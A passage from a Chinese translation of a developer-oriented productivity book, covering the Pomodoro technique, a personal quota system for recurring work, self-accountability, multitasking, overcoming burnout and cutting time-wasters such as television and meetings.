Newsport的博客（http://simpleprogrammer.com/ss-four-hour）中写道：\n庞加莱……通常在上午10点到12点和下午5点到7点工作。他发现工作再长时间也鲜有成果。\n其他的著名高产人士，像史蒂芬·霍金（Stephen King）也讲过类似的话：每人每天能够专注地、富有成效地工作的时间是有上限的。你的时间只有这么多，要怎么利用你自己说了算。\n采取行动\n试着用一下番茄工作法。不用担心要给每天设置多少个番茄钟的目标，只是试着使用这种方法，并列出你一整周能够完成多少工作。\n一旦了解自己一周能完成多少个番茄钟，你就可以给下一周设定目标了，看看能不能达到这个目标。留意自己最后完成了多少工作，以及完成每天设定的番茄钟目标之后自己感觉如何。\n第39章 我的“定额工作法”：我是如何做到超额完成工作的\n我已经告诉你我保持高产的基本方法了，但是关于这一点还有一部分内容我没有谈论太多。我的生产力提升方法的这部分是目前为止最为独特的。我尚未听其他人谈论过它，也没在任何生产力提升方法中看到过它。我称之为“定额工作法”。\n我用“定额工作法”确保自己每天、每周都朝着自己最重要的目标取得明确的、可度量的进展。在本章中，我会详细介绍这一定额工作法，并告诉你如何使用这种方法。\n问题\n我试用过的所有生产力提升方法都有一个主要问题：它们对于每天都会重复发生的任务似乎都束手无策。我还需要一种能够处理需要几周甚至几个月才能完成的大任务的方法。\n我发现自己有许多每周都会重复的不同任务。例如，每周我都要完成一篇博客、几个播客，锻炼身体，以及朝着既定目标取得进展的工作。我甚至还有一些必须每天都重复的日常任务。我敢肯定你也有类似的每周或是每天的例行任务。\n我总是不能很好地完成这些重复性的任务，要么是因为彻底忘了要做的事情，要么是因为最终没有自己预期的那么多时间。因为不能坚持不懈，所以我总是不能按计划完成，我总是觉得缺乏动力。\n或许你也曾尝试着制订过健身计划，但是你发现自己去健身房的次数远低于预期；或许你也开了博客，想定期更新，但是几个月过去了却仍毫无更新。你也清楚，只要能坚持更新博客，一定会看到非常好的效果，但是即便如此，你还是没有期望的那么多时间去写博客。\n什么是定额工作法\n我开始意识到，要想确保自己在追求目标的道路上获得持续的进展，唯一的方法就是确立一个明确的目标，规定自己要在预先确定的时间段内需要取得多大的进展。\n通过给自己的健身计划创建定额，我一开始就取得了成功。我规定自己每周跑步3次、举重3次。我下定决心每周都要达到这些额度。\n于是，我对每周写博客这项任务也实行了每周定额制，还为我需要定期完成的其他任务，如创建YouTube视频和播客，设定了各自的定额。我为所有需要做一次以上的任务都设置了定额。我对自己做的任何重复性工作的频率进行了量化，有的一月一次，有的一周四次，有的则是每天两次。如果任务是重复性的，我就定好它的重复频率，并承诺按期完成。无论刮风下雨，我都会完成自己承诺的定额。我非常严肃地对待这些定额。\n实行定额制后，我发现自己的工作成果比以往多了很多。最大的好处在于，长期坚持这么做，我就能随着时间的推移度量并标记自己的进度。我可以确切知道自己在给定的一段时间内能够完成的工作量。\n利用这一方法我取得的最大成就就是我创建的Pluralsight课程。我给自己设定了一个定额：每周完成3个模块的课程（每个模块就是一堂30～60分钟的课程。我的大多数课程都由5个模块组成。）通过设定这一定额，我能够在3年之内完成了超过55门课程，尽管中间还有一些中断。我很快就成为了顶尖的讲师，甚至比公司里的任何一位讲师所开发出的课程要多出3倍。\n定额示例\n每周跑步3次。\n每周发布一篇博客。\n（写作本书时）每天写一章。\n每周完成50个番茄钟的工作。\n你可以自己试试。花点儿时间制订自己的“定额表”。想想自己每周或每月要完成哪些任务，把它们写下来。你不需要现在就做出承诺，但是适当的练习对你有帮助。\n定额工作法的工作原理\n你可能很想知道定额工作法是如何发挥作用的。其实非常简单。挑选一些需要重复去做的任务，设定的一个定额，即明确自己在一个给定的时间段内完成该项任务的频率。这一时间段可以是每月、每周或者每天，但是你必须有一个明确的时间段，在这个时间段内必须完成多少工作。如果你有一个大项目，你需要想办法将其分解为可重复的小任务。对我的Pluralsight课程来说，我可以将其分解为模块；而对这本书来说，我可以将其分解为章。（顺便说一下，我写作这本书时给自己规定的定额是一天写一章。）\n一旦你明确自己要做什么、多久做一次，接下来的步骤就是要做出“承诺”。这是非常重要的一步，因为如果没有真正的承诺，你就不会成功。真正的承诺意味着你要不遗余力地完成自己设定的任务。这意味着除非身体丧失工作能力，否则没有任何情况可以阻止你去完成任务。\n承诺是“定额工作法”的核心。除了想方设法完成自己的工作，不给自己留下任何其他的选择。在你心中，失败不是一个可以被接受的选项。因为如果你让自己失信一次，就会有第二次，很快定额在你眼中就会变得一文不值。\n如果你的承诺力度不够，“定额工作法”顷刻就会分崩离析，所以你必须选择可实现、可持续的定额。不要对自己承诺自己明知不可能达到的目标，否则你就把自己逼入注定失败的绝境。开始的时候承诺可以小一点，在能够达成之后再逐步做大胆的承诺。\n如果定额定得太高，我只有一个规则：不能在定额必须完成的有效时间段之内放弃。曾经我承诺要每周为Pluralsight课程完成5个模块。但是这个定额太高了，我有几周能够完成这个定额，但完成起来很难，很多次都需要我周六和周日继续工作。当我决定降低定额时，我要确保那一周自己要完成5个模块的配额，然后到下周再将定额减少为3个模块。我没有中途停止，也没有改变规则，因为我知道，这样做会让我在将来失去对定额的尊重。\n定额工作法的规则\n挑选一项重复性任务。\n明确有效时限，在此期间该任务被重复执行。\n明确在给定的有效时限内该任务应该完成的次数的定额。\n给自己承诺：一定要达成定额。\n调整。调高或者调低定额，但是不能在有效时间段之内调整。\n好吧，是时候付诸行动了——给自己做出承诺。挑选一项任务并确定定额，然后开始实现承诺。浏览一遍定额工作法的规则，在开始的时候只将定额工作法应用到一件事情。\n定额工作法为什么会有效\n定额工作法成功的秘密可以追溯到“龟兔赛跑”的故事。以缓慢但稳定的节奏工作，要优于快速但缺乏持久和坚持的工作方式。在我最喜欢的Stephen Pressfield写的The War of Art一书中，对此进行了形象的描述：\n他（专业人士）有这样一个坚定的信念：如果自己能够让那些哈士奇狗一直拉着雪橇前进，早晚都能到达诺姆市[1]。\n我们中的大多数人在长期高生产效率地工作中时都会面临如何保持始终如一的节奏的问题。随着时间的推移，只要每天都能保证完全落实到位，小砖头终会筑成高墙。只关注高墙（手边的大任务）很容易让人泄气，如果每天只是砌砖（小任务）就会容易很多。关键是要保证将方法落实到位，保证自己每天、每周、每月都在“砌砖”。\n定额工作法还可以帮你克服意志力薄弱的问题，通过预先设定好的必须要遵循的过程，消除需要做出决策的部分。因为已经预先承诺在规定时间段内完成同一任务很多次，所以就不需要再判断要不要做某事——你知道必须要做。每一天，任何需要做决策的时刻，你都不得不被迫动用自己仅存的有限的意志力。以定额的形式将决策转变为命令，你无需再做决策，也就避免了意志力耗尽的问题。关于这一主题，可参考Kelly McGonigal写的《自控力》（Willpower Instinct）［Avery，2011］一书。\n采取行动\n列出自己生活中需要重复做的所有任务。特别要专注于那些目前你还无法持续完成但一旦完成就会从中受益的事情。\n选择至少一项任务，承诺在规定时间段内要完成的额度。认真对待这一承诺，试着坚持至少5个时间段。想象一下，如果自己能坚持几个月或几年，会发生什么。\n[1] 诺姆（Nome），美国阿拉斯加州苏厄德半岛南部白令海岸的小港市。—译者注\n第40章 对自己负责\n让人们完成工作主要有两大动机——内部动机（来自内心的动机）和外部动机（来自外部奖励或惩罚的动机）。\n内部动机要比外部动机有效得多。在内部动机的激励下工作时，我们能完成更多的工作，也更倾向于把工作做得更好。所以，秘诀是让你的主要动机来自内心而非外部。\n本章的全部内容莫不如此。本着对自己负责的态度激励自己。不信守对自己做出的承诺对你并无好处。如果你对深入了解这个主题感兴趣，可以参考Daniel Pink的《驱动力》一书。\n责任感\n我们中大多数人之所以会每天按时上下班，至少在某种程度上是因为我们要对自己的雇主负责。拥有一份工作的责任感会促使我们去做一些如果我们可以自主决定是绝对不会做的事情。如果你现在为别人工作且有机会在家工作一天，或者你已经倾尽所有冒险为自己工作（创业），你可能很快就会意识到责任感这个概念是多么强大。\n我刚开始在家工作的时候，我曾打算早起工作，然而我却没有——当时我并不是偷懒，只是不习惯对自己负责。我已经习惯了由外部因素来左右自己的行为。当由我自己决定是否工作的时候，我选择了不工作。这是人之常情。\n这种做法暴露了我在职业道德方面的一个致命缺陷，极大地降低了我的生产力。我受外部动机所左右而非内部动机。对雇主负责让我处于被监督的状态，然而一旦自己能做主，我就没有发自内心的责任感来控制自己的行为。\n培养出在没有人监督自己的时候也能高效工作的自我责任感非常重要。你也可以把这称为是具有一种性格或者具有一种素质，它们都是同一个概念。如果缺乏对自己的责任感，你将永远依赖外部动机来驱使你努力工作。你容易折服于一根胡萝卜的诱惑，也容易屈从于一根大棒的威胁（如果你胆敢越轨）。\n自我控制是一门自我激励的艺术，而自我激励的核心则是自我责任感。如果你想不再依赖别人的影响，获得稳定、可预测的结果，你就要学会对自己负责。\n对自己负责\n我曾与主要受外部动机影响这一问题斗争了很长一段时间。我不得不学习一些自律的方法，以便在由自己决定工作效果的时候也能富有成效。最终，我弄清楚了如何驯服这头潜伏在我内心深处的野兽。\n要培养“对自己负责”的精神，首先要让自己的生活井然有序。如果不知道应该做的事情是什么，就不能真正为自己所做的任何事情承担责任。当你去工作的时候，哪天需要上班是固定的，几点上班几点下班也是固定的。尽管有些事情可以变通，但这些都是刚性的，有明确规定。你知道如果违反了这些规定，会被自己的上司问责。\n你必须通过为自己设定规则，将这种条理性自愿地应用于自己的生活中。你需要创建自己的规则来管理自己的生活，并且要在自己思维清晰、大脑尚未被错误的判断蒙蔽的时候，提前制订好这些规则。\n你可能已经在生活中为自己制订了若干规则，如每天刷牙、按时付账单等。能将规则推而广之，应用于生活中充满麻烦的方面，或者是对自己的成功至关重要的方面，是一个好主意。这些条理性能帮你关注任务，做好该做的事情，避免被冲动和情绪所左右。\n有时候，责任感还可以帮你走出自我，认真思考如果不是必须自己完成某项活动的话，你会怎样安排自己每周的生活和活动。设想一下，你在玩一款视频游戏，要为游戏里自己扮演的角色安排每天的活动。你会如何规划并安排时间？你会为自己制订怎样的食谱？你会每天安排几个小时的睡眠？这些问题的答案就是让你保持对自己负责的最好的备选规则。\n培养“对自己负责”的精神的步骤\n外部问责\n你可能会发现，只对自己负责的时候很容易违反自己制订的规则。在这种情况下，需要借助一点儿外力。你仍然可以制订自己的规则，因此动机还是来自内部——因为你还是规则的制订者，只是你可以让别人帮你强制执行这些规则。\n请别人来监督自己履行责任，完成自己的承诺，并没有坏处。找到责任监督伙伴——理想情况下，最好是跟你有类似目标的人，这样会很有帮助。你可以告诉他你给自己制订的规则，或者你想达成的目标，通过定期互相汇报进度（不论成败），可以互相帮助对方强化责任感。\n通常，想到要告诉自己的责任监督伙伴自己没能完成设定的目标，就足以阻止自己不够自律的行为。在关键点作出正确的选择还是错误的选择会有极大的区别。另外，当你要做出重要决定的时候，可以听取责任监督伙伴的意见，从而确保你做出的决定符合你的长期最佳利益，而不是笼罩在短期利益的阴影之下。\n我自己就加入了一个智囊团，它的功能就像一个责任监督小组。我们小组每周都会开例会，每个人都要讲讲自己在这周做了什么和计划做什么。通过在小组内部讨论每个人各自的计划，我们互相监督计划的落实情况。没人希望因为自己不遵守计划而令组员失望。自从我加入了这个小组，工作效率大幅提升。\n公开自己的日常活动也是一个好主意。每周我都要发表博客、YouTube视频和播客。如果缺少一周，我知道一定会被发现，因此觉得自己不可以偷懒，不可以不做自己原本要做的事情。将自己的工作暴露在公众的监督之下是会有帮助的，因为那种尴尬或者不想让信赖自己的人失望的感觉会激励你采取行动。\n最重要的是要确保自己对自己的行为带有某种责任感。坚守自己设定的标准时，生产效率会高很多。\n采取行动\n抉择一下：你想如何度过自己的一生。花点儿时间创建一些自己的规则，确保自己朝着正确的方向前进。\n创建自己的责任制度，帮助自己严格执行规则。\n第41章 要不要多任务并行\n啊，多任务并行。有人称它是生产效率的毒药，也有人却发誓说它确实管用。但是，越来越多的人倾向于完全消除多任务并行。\n但我并不认为这事如此简单。我认为有的任务适合多任务并行，有的则不适合。如果你真想最大限度地提升自己的工作效率，就必须知道什么时候需要多任务并行，什么时候不需要，以及如何高效地进行多任务并行。\n为什么多任务并行一般都很糟糕\n近期，大多数关于多任务并行的研究似乎都表明，尽管很多采用多任务并行的人士自认为自己工作效率提高了，但是事实上多任务并行几乎总是导致生产效率降低的原因。你可以参考美国心理协会（American Psychological Association）的文章，了解一下对这些研究进行的总结：http://simpleprogrammer.com/ss-multi-task。\n多任务导致效率低下的根本原因似乎在于，我们根本没有能力真正去践行多任务并行。对于很多活动，我们可能会自认为是在进行多任务并行，但实际上我们做的不过是在不断地进行任务切换。这样的任务切换看起来确实是工作效率下降的罪魁祸首。任务切换越多，浪费的时间也就越多，因为你的大脑并不能专注于一项任务。真正的多任务并行是指同时做两件甚至更多事情（这是可以提高效率的，正如我们将在后面讨论的一样），但大多数时候我们只是在做任务切换。\n正如我们在第36章谈到的那样，当你认为专注对于提升工作效率非常重要的时候，这一点就讲得通了。多任务并行的时候，很容易打破专注力，最后你不得不花时间回到之前的任务。当你不在专注模式下时，很容易会拖延时间，或者会让其他的干扰分散注意力。如果你认为自己出于专注状态时工作效率最高，且需要花些时间才能到达这种状态，你就能明白，在各种任务间快速切换并不会提高效率。\n唯一可以肯定的是，对于某些种类的工作，并不能真正做到同时处理两项或两项以上的任务，或者这样做会打破你的专注。如果真的能够将各项任务融合在一起管理，就可以大幅提升效率。我们会在后面讲到这一点。现在，还是让我们来谈谈通常在试图进行多任务并行时会用到的更有效的一项策略。\n批量处理生产效率更高\n我每天都会收到不少的电子邮件。以前，我会在自己的电脑上设置一个通知，有新邮件的时候提醒我。于是，只要收到新邮件，我就会停下手上的工作去阅读和回复邮件。因为我的专注状态总是被打断，也从来没有进入“电子邮件模式”，所以这种方式并不高效。\n很明显，在这个例子中，我并不是真正在进行多任务并行。我只是中断了自己手边正在做的工作去处理电子邮件，我只是在做任务切换而已。举例来说，我不可能在写书的同时回复邮件，因为我没有足够的键盘和手指同时做这两件事情。\n现在我用批量处理的方式处理邮件。每天我会检查几次自己的电子邮件，并回复紧急邮件。但总的来说，我会在一天中找个单独的时间集中处理所有的电子邮件。我会一次性浏览我的整个收件箱，并处理所有邮件。因为不再被其他任务打扰，我可以进入了“电子邮件模式”，在这种模式下我处理邮件的速度比一直打开收件箱的时候快很多，所以我的效率高很多。\n我要告诉你的要点是什么？是的，如果你每天都因为有多个任务要完成就深陷多任务并行的泥潭，最好学会如何批量处理这些任务，一次性完成一系列互相关联的任务，而不是将它们拆分完成。批量处理电子邮件就是非常好的起点，任何在短时间可以完成的任务也都适合批量处理。\n潜在的适合批量处理的领域\n处理电子邮件。\n打电话。\n修复bug。\n开短会。\n比起在不同时间段分别处理相关任务，批量处理相关任务拥有两大优点。第一，你不会打破自己对正在处理的大任务的专注。第二，你会更专注于自己平常没有足够的时间进入专注状态去处理的任务。回复1封邮件不会让你有充分的时间专注于这一任务，但是集中回复20封电子邮件就可以把你带入专注模式。\n现在花点儿时间想想，生活中有哪些方面可以集中起来批量处理。哪些类型的活动你把它们分散开来做了很多？你能否专门分拨出一个更大块的时间块来一次性处理这些事情？\n什么才是真正的多任务并行\n好了，我们既然已经知道多任务并行惹人厌烦的原因，现在就来讨论真正的多任务并行吧。你在同时执行两项任务而不只是在任务间快速切换，这就是多任务并行。\n真正的多任务并行使我极大地提升了自己的生产力。如果你可以将两项任务组合起来，并且真正做到同时处理它们两个，你才能完成更多。诀窍在于搞清楚哪些任务可以被真正组合起来而不会降低单独执行每项工作的生产效率。\n我发现，最有可能的就是，将一项不费脑筋的任务和一项一定程度上需要精神专注才能完成的任务组合起来。现在，我正一边听着耳机里的音乐一边打字写这一章。当然，听音乐本身并不是一项富有成效的工作，不过事实证明，在写作的时候听音乐能让我比单纯写作更富有成效。音乐似乎能让我写作更流畅，还能帮我减少其他会分散注意力的外界干扰。\n再来一个更有效率的例子？我通常会尝试把体育运动与培训活动组合在一起。在健身房跑步或举重的时候，我经常会听有声读物或者播客。我发现，一边做健身活动一边听一些培训材料没有任何负面影响。通过一边健身一边听有声读物，我已经读完了很多书。\n但是可以设想一下，如果我试图一边听有声读物一边写本章内容，会发生什么情况。我要么不能专心听书，要么不能写作。我们的大脑不能同时做两项脑力劳动。\n关键是要找到一天当中的某个时间，大脑或身体有一个没被占用。开车的时候就是听有声读物的好时机。你不需要把注意力全部放在开车上。在自动驾驶仪上几乎可以做到这一点，所以你可以在上下班的路上学一些东西。\n一心难以二用\n环顾四周，我找到一台跑步机，上面有一个小搁架，正好能将我的笔记本电脑放在上面。我能在上面边走边回复邮件，何乐而不为？但后来我发现，在跑步机上一边走一边做类似写代码这样的工作效果并不好——除非我能走得非常慢。看起来走或别的体育运动会占用小部分注意力。鉴于此，我建议将一些对注意力要求不太高的任务与体育运动相结合。你可能会发现一边举重一边求解复杂的数学方程式是很难的，我从来没有试过。\n采取行动\n停止任何并非真正的多任务并行的多任务并行。每天力争在一个时间段内只做一件事。番茄工作法对此有很大帮助。\n一次性批量处理小任务，而不是每天或每周里做许多次。\n找出能够真正实现多任务并行的领域。任何不需要耗费脑力的活动都可以跟其他活动结合起来。只要进行任何需要耗费脑力的活动，就将其与体育运动结合起来。\n第42章 职业倦怠：我已找到解药\n提高生产力的最大障碍之一就是身体和心理上的倦怠。项目刚开始的时候，我们总是热情高涨、精力旺盛，但是一段时间之后，即便我们再有激情，一想到它们也会让我们反胃。\n大多数人将这种状态称为倦怠，并且从未摆脱过这种状态。尽管这很不幸，但是，如果你能设法让自己摆脱那种精疲力竭的感觉，你会发现自己重新充满活力，事情也柳暗花明。\n在本章中，我们会讨论什么是倦怠，它是如何产生的，为什么会感到倦怠，其实大多数情况下，那不过只是一种假象。\n为什么会产生倦怠\n作为人类，我们往往会对刚出现的新鲜事物激动不已。但是之后，因为对它们习以为常了，我们要么把这它们看作是理所当然的，要么会心生厌烦。\n这是生活中的一个自然规律，我敢肯定，你以前也经历过很多次。还记得你的车还是全新的时候吗？还记得你在驾乘新车时的兴奋劲儿吗？那种感觉你持续了多久？过了多久之后，你再也不真正关心你的车了？多久之后，你觉得它已经“老”了？\n对于新的工作，你可能也经历了同样的周期。我做过的几份工作，我都记得自己上班的第一天。那时我兴奋不已、踌躇满志、迫不及待地想大展身手。但是没过多久，大部分的热情就会消退。没过多久，我终于害怕去上班，感觉自己对这份工作忍无可忍。\n新鲜感消退之后，现实就会浮现。无论你是接手一个新项目还是学习一项新技能，你最终都会到达这种状态：你兴趣索然，积极性低，进展异常缓慢，或者看起来毫无进展。\n最终，你会身心俱疲。你可以尝试否认或者掩盖这个事实，但是最终你还是知道，你再也不会为这份工作、这个项目、这项任务感到兴奋不已。你觉得自己无比倦怠。\n你越是努力工作，完成的工作就越多，这种倦怠感来得就会越快。这就是难以取得工作成效的原因。工作效率越高，你从中体会到的愉悦感就越少。\n事实上，你不过是撞到了一堵墙[1]\n我们中大多数人都把倦怠视为终结。我们看不到解决之道，只能想当然地以为，既然动机不在、兴趣索然，就应当采取行动，做点儿别的。\n于是，我们走出去寻找新工作。这样，会留下只写了一半的书，也会把仅剩几周就能完成的项目弃之不顾。我们半途而废，努力寻找新事物，找回自己真正的激情。如果激情不再是令我们产生倦怠感的真正原因，那么如果我们能够持续保持激情就不会产生倦怠感。\n有时候，我们觉得自己该去度个假。可是等度假归来，我们的倦怠感更甚从前。不仅失去了动机和兴趣，就连工作的状态都渐渐消失了。\n其实，真相是，大多数情况下，这种倦怠感完全是自然而然产生的，它并不是一个严重的问题。事实上，我们中大多数人无论如何努力最终都会发生撞墙的现象——当我们最初的兴趣和动力消退的时候，我们没有足够的成就去说服自己找回它们。\n当开始新项目的时候，你的兴趣最高。但是就像开新车一样，你的兴趣水平下降得相当快。兴趣依赖希望与期待而产生。所以，在真正着手做一些事情之前，我们对它们的兴趣最高。\n动机在开始阶段可能不高，但是随着取得进展，我们的动机水平开始上升。早期的成功能让你感觉更有动力，冲量则推动你前进。\n我们都会时不时地遭遇到“撞墙”的情况\n但是，随着时间的推移，缓慢的成果进展消耗着你的动机。你最终发现自己的动机和兴趣都濒临谷底。这就是那堵看不见的“墙”。\n在墙的另一侧\n遗憾的是，大多数人从来没有真正穿越过这堵墙。环顾四周你就会发现我说的是真的。有多少人在成功来临之前，或者项目完成之前就放弃了？\n回首你自己的经历，有多少半途而废的项目：跆拳道黄带（在拿到黑带以前放弃了）、落满灰尘的吉他（好久没弹了）、尘封在衣橱里的足球鞋（好久没踢了）……我知道我已经撞到这堵墙很多次，未能突破。我自己的经历里，充斥着大量以失败告终的例子。\n不过也有好消息。还记得，我答应过你，我一定会分享治愈倦怠的方法？好了，它就在这里，非常简单。你准备好了吗？\n穿过那堵墙！\n是的，非常简单。我是认真的。回顾一下刚才的那张兴趣、动机、结果和墙的图。看一下，当你打通那堵墙的时候，墙的另一侧是什么？突然间，成果会极速增加。动机和兴趣也会被大幅拉升。\n在你对此有所怀疑之前，先让我来给你解释一下会发生什么，以及为什么墙会存在。正如我们前面所讨论过的，大多数人在“撞墙”的时候会选择放弃。他们不是想法设法去穿越它，因为他们觉得自己已经倦怠了。在撞墙之前，竞争非常激烈。选手们站满跑道，每个人都热情高涨、激动不已。跑道是如此轻松，没有人会被淘汰。\n然而，由于很多人没有穿越过那堵墙，所以墙的另一侧极为宽阔，人数寥寥，没有太多竞争。大部分选手都已经中途退出了比赛。因为总共也没几位选手留下来，所以因成功到达墙的另一侧的选手能得到更丰厚的奖品。\n所以，如果能穿越到墙的另一侧，你会发现突然间一切都变得轻而易举，你的动机和兴趣再次回归。我们面对新任务的时候，动机和兴趣水平都很高，我们的兴趣和动机也会在任务完成后继续高涨。初学吉他会很轻松有趣，但是坚持不懈成为高手却是漫长单调的过程。成为吉他大师是最大的乐趣和回报。\n如果能咬紧牙关坚持到底，如果能穿越那堵墙战胜自己，最终你会发现，简单地无视它的存在，你的倦怠感已经不治而愈。经历痛苦就是克服倦怠的秘诀。你以后还会撞到更多的墙，但每穿越它一次，你将会体验到全新的动力、充沛的活力。另外，你的竞争者的数量会越来越少。\n穿过那堵墙\n好吧，也许你还是不太相信我说的话。我的意思是说，也许你确实感到倦怠。每天清晨起床后，你真的不想打开电脑敲键盘。你只想躲到森林里的小木屋，从此不要再见到电脑。\n但也许……只是也许，你愿意试一试。也许你愿意看看墙的另一侧是否真的藏着一罐金子。\n好吧。那么，就让我来告诉你该怎么做吧。\n你已经迈出了第一步，意识到墙的另一侧有东西在等着你。大多数人之所以放弃就因为他们没有意识到，如果持续，穿越那堵墙，事情会变得更好。知道自己的努力不会白费会帮助你坚持下去并最终度过难关。\n遗憾的是，只做到这一点还不够。在动机水平处于低点的时候还继续坚持真的很难。没有动机，你不会有紧迫感。你觉得完全是在反其道而行之。你需要的只是些许条理。你或许想复习一下第40章关于保持对自己负责的内容，但本质上，你需要为自己创建一套确保自己继续前行的规则。\n你需要突破这堵墙\n就以写这本书为例。刚开始动笔的时候我兴奋极了，想不出来有什么能比坐下来整天写“自己的书”更有趣的事情了。但是，没过多久这种新鲜感就消失殆尽。但是，你能读到这本书就证明我已然坚持到了最后。我是如何在动力和兴趣消失殆尽的时候坚持到底的呢？我为自己设定了一个时间表，并且坚决执行。无论刮风下雨，无论自己感觉如何，我都坚持每天写完一章。有些日子还会多写一点儿，但是总是保证至少一章。\n你可以采用类似的方法来帮自己突破阻挡了你的那堵围墙。想学会弹夏威夷四弦琴？每天留出一定的时间练习。在上第一堂课之前就制订好这样的计划——那时你的兴趣和动机都处于最高点。当你不可避免地撞到这样一堵墙的时候，这个计划能帮助你穿过它。\n采取行动\n想一想以前都有哪些项目是你付出努力却没有最终完成而半途而废了。是什么原因让你放弃的？你现在对这件事儿有什么感受？\n下次开始新项目的时候，下定决心：你一定会完成，或者完全掌握。设定规则和约束条件，强迫自己穿过那堵不可避免的墙。\n如果你正面临职业生涯或者个人生活中的一堵墙，试着去穿越它。想想在墙的另一侧会有怎样的收获等着你。想象自己的动机和兴趣终将获得回报。\n[1] 原文为hitting a wall，指的是在耐力运动（如骑自行车、马拉松长跑）中因为肝脏和肌肉中的糖原储备耗竭而造成的身体突然疲劳和能量损失状态。短暂的休息、摄入富含碳水化合物的食物或饮料、减少运动强度都可以缓和该现象。以上根据《维基百科》整理。—译者注\n第43章 时间是怎样被浪费掉的\n我们都会浪费时间，我们都做过这件事。事实上，根据定义，如果我们能够学会停止浪费时间，我们的生产效率会尽可能地高。如果能最大限度地增加每一天的有效时间，以便绝对没有时间被浪费，你的能力也能发挥到最大。\n遗憾的是，你不能把每天的每一分钟都充分利用起来，这个目标太不现实了。但是，你可以弄清楚自己在哪儿浪费的时间最多，并消除它们。如果你能排除一到两个最浪费时间的方面，你就会处于非常好的状态。在本章中，我会帮你找出曾经让你浪费时间最多的地方，并给你一些实用的建议，让你一劳永逸地消除它们。\n最大的时间杀手\n还是让我直截了当地说出来吧——停止看电视！\n我是认真的，必须立刻停止看电视。放下遥控器，关掉电视机，找些其他事来做做——除了看电视，什么事都行。\n在我们生活的这个世界里，大部分人都把大把的光阴浪费在看电视上，这对他人对社会都毫无益处。2012年，尼尔森一份报告指出，两岁以上的美国人平均每周看电视直播节目的时间超过34小时。这还不是全部。他们还会花上3～6小时看录播节目。我的天哪！你说的是真的吗？我没看错吧？我们每周会花40小时看电视？我们每周花在看电视上的时间和全职工作的时间一样多。这可真是太疯狂了。\n当然，你可能不怎么看电视，或者你可能不像普通美国人看得那么多，但忽视这一数据是很难的。它表明我们看电视的时间比我们想象的多得多。\n设想一下你能用每周这40小时做什么。如果想启动自己的业务，快点开始吧，每周有40个小时呢。如果想在职业生涯中获得进步，你认为可以用每周这40小时达到这个目的吗？用来塑身会怎么样？我认为每周40小时应该足够了。\n即使你看电视的时间是普通美国人的一半，每周还有20小时可以用来做一份兼职。实事求是地估算一下你每周看多少小时的电视。跟踪一下，你会得到确切结果。\n现在，花点儿时间监控一下自己看电视的时长。想想自己都看哪些节目，每周看多久电视。要实事求是。加起来就是每年自己看电视的总时长。\n戒掉电视\n大概无需我告诉你，为什么看电视是对时间的极大浪费，但是你可能需要多一点儿理由来说服自己完全放弃看电视，或者至少削减看电视的时间。\n看电视的最大问题就是，花在收看电视上的时间并没有获得任何实际收益。除非你只看教育节目，否则就是在浪费时间。时间花在别的事情上比看电视有益得多。\n看电视不仅浪费时间，还会以你察觉不到的方式影响你的认知能力。电视节目把所有问题都“短路”了，让你不经过自己大脑的任何思考就把一切都安排好。从消费习惯到世界观，你的一切都受电视的直接影响。电视看得越多，你越会放弃对自己的思想和行为的控制。电视简直就是彻底地操控了你的生活。\n那么，你该如何放弃看电视呢？首先我得承认这并不容易。我以前每周也会花费大量时间看电视，习惯于一下班到家就打开电视。（我甚至买了一个小折叠桌，以便于让我能边看电视边吃晚饭。）我还是个孩子的时候，我父母就是这么做的；在我长大成人的之后，我自己也是这么做的。我已经习以为常了。我觉得辛苦工作一天后，我需要看会电视放松一下。我需要这种毫不费脑的娱乐活动。\n直到我开始做自己的兼职项目，我才意识到需要放弃看电视。我当时开发了一款Android应用来跟踪自己跑步，每天我都会留出几个小时来做这个应用程序。我发现，自从把原来看电视的时间用在做自己喜欢的这个项目上之后，我每天能做更多事情，并乐在其中。\n看到这些好处之后，我想为自己收回更多的时间，但我还是不想放弃某些自己喜欢的节目。我决定减少看电视的时间，一次只看一个节目。我不再看直播或者录播，而是直接整季购买自己想看的节目。我在自己想看电视，或者有空的时候才看。我不再被那些电视节目和周播的剧集牵着鼻子走。（现在我还会偶尔买一整季的电视节目，把它们当作电影看。）\n通过寻求其他事情来占用自己的时间，以及打破固定播放的电视节目对我的日程表的控制，我最终戒除自己的电视瘾，这样我就为自己每周腾出20～30小时以上的时间。\n其他时间杀手\n我刚才主要是把论述的重点放在了电视上，因为对大多数人来说，它是最大的时间杀手。只把这一项消灭了就有可能将你的工作效率提高2～3倍，更不用说还能为你省钱。但是，还有别的时间杀手，你可能也想了解如何从生活中消除它们。\n当今，社交媒体是一个主要的时间杀手。正如我们在第二篇所讨论的那样，社交媒体的存在确实重要，但它也容易让你在Facebook、Twitter和其他社交网站上浪费无数时间。这些时间你本可以用来工作或者做一些更富有成效的事情。\n前面介绍的适用于电子邮件的批量处理策略在这里同样适用。你可以在一天内集中一两次进行社交媒体活动。你可以只在午餐时段或者晚上查看Facebook，而不用不停地查看Facebook。相信我，即使这样你也不会错过任何有用的东西。\n如果你在公司上班，那么另一个让你生产效率低下的时间杀手就是开会。我可能无需告诉你开会会浪费多少时间。我在公司上班的时候，每天至少有2～3小时在开会。这样一来，无需赘述，能实际高效工作的时间所剩无几。\n不想让开会浪费自己的时间，最好的办法很简单，就是不去开会。我知道这听起来有点儿偏激，但是我发现，在很多会议中，我只是个可有可无的听众，或者根本不需要我参加。\n如果会议的日程表可以通过邮件或者其他媒介处理，你也可以让会议组织者取消会议，以此来减少需要参加的会议的数量。我发现，由于召开会议太过容易，通常它被作为默认选项。如果一个问题无法通过电子邮件、电话等耗时较少的方式解决，可以试着把会议作为杀手锏来用。关于精简会议的更多细节，可以参考Jason Fried和David Heinemeier Hansson合著的《重来》（Rewor）［Crown Publishing 